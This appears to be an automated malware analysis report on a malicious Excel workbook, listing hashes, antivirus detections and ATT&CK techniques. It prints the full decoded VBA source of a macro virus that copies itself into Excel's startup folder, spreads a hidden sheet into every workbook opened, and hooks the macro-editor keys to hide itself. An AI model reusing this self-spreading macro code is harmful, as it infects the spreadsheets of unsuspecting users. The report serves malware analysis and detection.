Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 92993bb0e06d9b45…

MALICIOUS

Office (OLE)

75.0 KB Created: 2012-03-05 06:39:08 Authoring application: Microsoft Excel First seen: 2015-10-03
MD5: 79991187c1b50fb1c0ac3bff6ea39b10 SHA-1: acefee4ca830984aca7dbd22cf5c0a69b2508454 SHA-256: 92993bb0e06d9b45850f7d74f02ae1bbb5fe8f4178fafc9c164c808bac6008f4
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is an Excel document containing VBA macros, specifically an Auto_Open macro, which is a common technique for executing malicious code upon opening. The macro attempts to copy itself to the Excel startup folder as 'StartUp.xls', indicating an attempt to establish persistence. The ClamAV detections (Ppt.Malware.Laroux-10036124-0 and Xls.Trojan.Escape-1) further confirm its malicious nature. The document body contains what appears to be a student roster, likely a lure.

Heuristics 3

  • ClamAV: Ppt.Malware.Laroux-10036124-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Ppt.Malware.Laroux-10036124-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3917 bytes
SHA-256: 4b9c82a26d087e244fb6970a7a5d2203bce17577101497fe1ec60c6782168c18
Detection
ClamAV: Xls.Trojan.Escape-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Dim i As Single
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.Calculation = xlCalculationManual
'  On Error Resume Next
'  On Error GoTo 0
    Worksheets("barcode").ComboBox2.Clear
    Worksheets("barcode").ComboBox2.AddItem "MDM20"
    Worksheets("barcode").ComboBox2.AddItem "MDQ70"
    Worksheets("barcode").ComboBox2.AddItem "MDM21"
    Worksheets("barcode").ComboBox2.AddItem "MDM20Z"
    Worksheets("barcode").ComboBox2.AddItem "MDT10"
    Worksheets("barcode").ComboBox2.AddItem "MDS90"
    Worksheets("barcode").ComboBox1.Clear
    Worksheets("barcode").ComboBox1.AddItem "新LOT"
'    Worksheets("barcode").ComboBox3.Clear
    
'    For i = 2 To Worksheets("sequence").[a65536].End(xlUp).Row
'    Worksheets("barcode").ComboBox3.AddItem Worksheets("sequence").Cells(i, 1)
'    Next i
    
    Dim MyArray(280, 3)


     '第一个列表框包含三个数据列
    Worksheets("barcode").ListBox1.ColumnCount = 3
     '第二个框包含六个数据列
    For i = 0 To 280
    MyArray(i, 0) = Worksheets("全工程（ZPT）").Cells(i + 4, 8)
    MyArray(i, 1) = Worksheets("全工程（ZPT）").Cells(i + 4, 6)
    MyArray(i, 2) = Worksheets("全工程（ZPT）").Cells(i + 4, 7)
    Next i


'     MyArray = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

'     MyArray = Worksheets("全工程（ZPT）").Range("f4:h9")

    Worksheets("barcode").ListBox1.List() = MyArray
'    ListBox2.Column() = MyArray
    
Rem  arr = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

Rem ListBox1.AddItem Worksheets("全工程（ZPT）").Cells(i, 6)
End Sub

Sub ycop()
Attribute ycop.VB_ProcData.VB_Invoke_Func = " \n14"
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
Attribute escape.VB_ProcData.VB_Invoke_Func = " \n14"
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
Attribute back.VB_ProcData.VB_Invoke_Func = " \n14"
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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